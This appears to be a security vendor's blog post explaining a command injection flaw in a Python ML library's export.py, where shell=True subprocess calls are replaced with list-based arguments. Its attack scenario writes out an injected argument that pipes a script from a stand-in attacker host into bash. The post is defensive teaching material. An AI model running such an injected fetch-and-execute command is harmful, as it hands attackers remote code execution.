Back to Blog
critical SEVERITY5 min read

How command injection happens in Python subprocess and how to fix it

A critical command injection vulnerability was discovered in export.py where subprocess calls used `shell=True` with user-controllable CLI arguments. An attacker could inject shell metacharacters through model paths or export parameters to execute arbitrary commands on the host system. The fix replaces shell-based command execution with safer list-based subprocess calls that prevent command injection.

O
By Orbis AppSec
Published June 11, 2026Reviewed June 11, 2026

Answer Summary

This is a command injection vulnerability (CWE-78) in Python's subprocess module where `shell=True` combined with f-string interpolated commands allowed attackers to inject malicious shell metacharacters via CLI arguments like model paths. The fix replaces `subprocess.run(cmd, shell=True)` with `subprocess.run(cmd.split())` using list-based arguments, which prevents the shell from interpreting metacharacters as command separators. This pattern affects any Python code that passes user-controllable input to subprocess calls with shell=True.

Vulnerability at a Glance

cweCWE-78
fixReplace shell=True with list-based subprocess arguments
riskArbitrary command execution on host system
languagePython
root causeUsing shell=True with user-controllable f-string interpolated commands
vulnerabilityCommand Injection via subprocess shell=True

Introduction

In the export.py file of this machine learning library, we discovered a critical command injection vulnerability at line 930. The export_edgetpu() function, responsible for compiling models for Edge TPU deployment, used subprocess.run() with shell=True to execute system commands—a pattern that becomes dangerous when combined with user-controllable input.

The vulnerability existed in how the code checked for the Edge TPU compiler and installed dependencies. At line 930, the code executed:

if subprocess.run(f"{cmd} > /dev/null 2>&1", shell=True).returncode != 0:

This pattern, repeated at line 939 for the sudo check and throughout the installation commands, created multiple injection points where an attacker controlling CLI arguments could break out of the intended command context.

The Vulnerability Explained

The vulnerable code in export_edgetpu() constructed shell commands using string interpolation and executed them with shell=True:

cmd = "edgetpu_compiler --version"
# ...
if subprocess.run(f"{cmd} > /dev/null 2>&1", shell=True).returncode != 0:
    # Installation logic
    sudo = subprocess.run("sudo --version >/dev/null", shell=True).returncode == 0
    for c in (
        "curl https://packages.cloud.google.com/apt/doc/apt-key.gpg | sudo apt-key add -",
        'echo "deb https://packages.cloud.google.com/apt coral-edgetpu-stable main" | sudo tee /etc/apt/sources.list.d/coral-edgetpu.list',
        "sudo apt-get update",
        "sudo apt-get install edgetpu-compiler",
    ):
        subprocess.run(c if sudo else c.replace("sudo ", ""), shell=True, check=True)

When shell=True is set, Python passes the command string to /bin/sh -c, which interprets shell metacharacters like ;, |, $(), and backticks. While the cmd variable in this specific snippet is hardcoded, the broader context of export.py accepts user-controllable CLI arguments for model paths and export parameters.

Attack Scenario

An attacker who can influence the model path via CLI could execute arbitrary commands:

python export.py --weights "model.pt; curl attacker.com/shell.sh | bash" --include edgetpu

The semicolon acts as a command separator in the shell. Instead of just processing model.pt, the shell would:
1. Attempt to process model.pt
2. Execute curl attacker.com/shell.sh | bash

This could lead to:
- Remote code execution: Downloading and running malicious scripts
- Data exfiltration: Stealing model weights, credentials, or sensitive data
- System compromise: Installing backdoors or ransomware
- Lateral movement: Using the compromised system to attack internal networks

The vulnerability is particularly severe because this is a Python library—any application importing export.py inherits this vulnerability, potentially exposing production ML pipelines to attack.

The Fix

The fix eliminates shell=True entirely by switching to list-based subprocess calls. Here's the before/after comparison:

Before (Vulnerable)

if subprocess.run(f"{cmd} > /dev/null 2>&1", shell=True).returncode != 0:
    # ...
    sudo = subprocess.run("sudo --version >/dev/null", shell=True).returncode == 0

After (Secure)

try:
    compiler_present = subprocess.run(
        cmd.split(), stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL
    ).returncode == 0
except FileNotFoundError:
    compiler_present = False
if not compiler_present:
    # ...
    try:
        sudo = subprocess.run(
            ["sudo", "--version"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL
        ).returncode == 0
    except FileNotFoundError:
        sudo = False

Key Changes Explained

  1. Replaced shell=True with list arguments: Instead of subprocess.run("cmd arg", shell=True), the fix uses subprocess.run(["cmd", "arg"]). When passing a list, Python executes the program directly via execve() without invoking a shell, so metacharacters like ; are treated as literal characters.

  2. Replaced shell redirection with Python constants: The shell-specific > /dev/null 2>&1 was replaced with stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, achieving the same output suppression without shell interpretation.

  3. Added FileNotFoundError handling: Without shell=True, a missing executable raises FileNotFoundError instead of returning a non-zero exit code. The fix properly catches this exception.

  4. Restructured installation commands: The piped curl command was split into separate subprocess calls with explicit data passing via input= parameter, eliminating the need for shell pipes:

curl_proc = subprocess.run(
    ["curl", "https://packages.cloud.google.com/apt/doc/apt-key.gpg"],
    stdout=subprocess.PIPE, check=True,
)
subprocess.run(s + ["apt-key", "add", "-"], input=curl_proc.stdout, check=True)

Prevention & Best Practices

1. Never Use shell=True with External Input

The golden rule: if any part of your command could be influenced by user input, never use shell=True. Even if you think you've sanitized the input, shell metacharacters are numerous and context-dependent.

2. Always Use List-Based Arguments

# Dangerous
subprocess.run(f"process {user_input}", shell=True)

# Safe
subprocess.run(["process", user_input])

3. Use shlex.split() for Complex Commands

If you must parse a command string into arguments:

import shlex
cmd = "ls -la /home/user"
subprocess.run(shlex.split(cmd))  # ['ls', '-la', '/home/user']

4. Validate and Sanitize Paths

For file paths specifically, use pathlib to resolve and validate:

from pathlib import Path

user_path = Path(user_input).resolve()
if not user_path.is_relative_to(allowed_directory):
    raise ValueError("Path traversal attempt detected")

5. Use Static Analysis Tools

Tools like Semgrep, Bandit, and CodeQL can detect shell=True patterns:

# Bandit check
bandit -r . -t B602,B604

Key Takeaways

  • The export_edgetpu() function's use of shell=True at line 930 created a command injection vector that could be exploited via CLI arguments
  • Replacing f-string commands with list arguments eliminates the shell interpreter entirely, making metacharacter injection impossible
  • Shell output redirection (>/dev/null) must be replaced with Python's subprocess.DEVNULL when removing shell=True
  • Piped shell commands require restructuring into separate subprocess calls with explicit stdout/stdin handling
  • This vulnerability pattern affects any Python library using subprocess—downstream applications inherit the risk

How Orbis AppSec Detected This

  • Source: CLI arguments passed to export.py, including --weights (model path) and export parameters
  • Sink: subprocess.run(..., shell=True) in export.py:930 and export.py:939
  • Missing control: No sanitization of shell metacharacters; direct string interpolation into shell commands
  • CWE: CWE-78 (Improper Neutralization of Special Elements used in an OS Command)
  • Fix: Replaced all shell=True subprocess calls with list-based arguments that bypass shell interpretation

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

This command injection vulnerability in export.py demonstrates why shell=True should be treated as a code smell in security-conscious applications. The fix—switching to list-based subprocess arguments—is straightforward but requires careful attention to shell-specific features like output redirection and pipes.

For developers working with subprocess in Python: default to list arguments, avoid shell=True unless absolutely necessary, and always consider whether any part of your command could be influenced by external input. When in doubt, remember that the shell is a powerful interpreter designed for convenience, not security.

References

Frequently Asked Questions

What is command injection?

Command injection is a vulnerability where an attacker can execute arbitrary operating system commands by injecting shell metacharacters into application input that gets passed to a system shell.

How do you prevent command injection in Python?

Avoid using `shell=True` in subprocess calls. Instead, pass commands as a list of arguments (e.g., `subprocess.run(["cmd", "arg1", "arg2"])`) which bypasses shell interpretation entirely.

What CWE is command injection?

Command injection is classified as CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').

Is input validation enough to prevent command injection?

Input validation alone is insufficient because shell metacharacters are numerous and context-dependent. The safest approach is to avoid shell=True entirely and use list-based arguments.

Can static analysis detect command injection?

Yes, static analysis tools can detect patterns like `subprocess.run(..., shell=True)` combined with string interpolation or concatenation, flagging them as potential command injection sinks.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #13786

Related Articles

critical

How buffer overflow in URL parsing happens in C++ HTTP client and how to fix it

A critical buffer overflow vulnerability in the HTTP client's URL parsing function allowed attackers to overflow a stack-allocated host buffer through specially crafted URLs with excessively long hostnames. The vulnerability enabled arbitrary code execution by overwriting the return address. The fix adds proper bounds validation before the memcpy() operation to ensure the hostname length never exceeds the destination buffer size.

critical

How integer overflow in _wopendir() happens in C Windows dirent and how to fix it

A critical integer overflow vulnerability in `include/compat/dirent_msvc.h` allowed an attacker-controlled directory path length to wrap the `sizeof(wchar_t) * n + 16` allocation calculation, resulting in a dangerously undersized heap buffer. Subsequent writes to that buffer caused a heap overflow, enabling potential memory corruption or code execution on Windows systems. The fix adds a pre-allocation bounds check and proper errno signaling to safely reject overflow-inducing inputs.

critical

How buffer overflow happens in C xxd utility and how to fix it

A critical buffer overflow vulnerability was discovered in the xxd utility's `xxdline()` function where `strcpy()` was used without bounds checking on file input. An attacker could craft a malicious hex dump file with oversized lines to trigger memory corruption. The fix replaces the unsafe `strcpy()` with `snprintf()` to enforce buffer size limits.

critical

How buffer overflow in memcpy() happens in C/C++ embedded firmware and how to fix it

A critical buffer overflow vulnerability was discovered in the ESP32-based micro-journal firmware where `memcpy()` calls used `strlen()` without bounds checking, allowing oversized USB descriptor strings to corrupt adjacent memory. The fix replaces unbounded `strlen()` with `strnlen()` calls that enforce the destination buffer sizes (8, 16, and 4 bytes respectively), preventing heap/stack corruption from malicious USB devices.

high

How Denial of Service via crafted URI templates happens in Ruby addressable and how to fix it

A high-severity Denial of Service vulnerability (CVE-2026-35611) was discovered in the Ruby `addressable` gem versions prior to 2.9.0, which could allow attackers to crash or hang applications by sending specially crafted URI templates. The fix upgrades the dependency from version 2.8.7 to 2.9.0 across the Gemfile, Gemfile.lock, and gemspec in a Fastlane project, eliminating the vulnerable code path entirely.

critical

How Server-Side Request Forgery (SSRF) happens in Python requests.get() and how to fix it

A critical Server-Side Request Forgery (SSRF) vulnerability was discovered in `models/common.py` where `requests.get()` fetched images from arbitrary URLs without validating whether the target resolved to internal infrastructure. An attacker could supply URLs targeting AWS metadata endpoints (169.254.169.254), private networks, or localhost services through the Flask REST API. The fix introduces DNS-resolution-based validation using Python's `socket.getaddrinfo()` and `ipaddress` module to block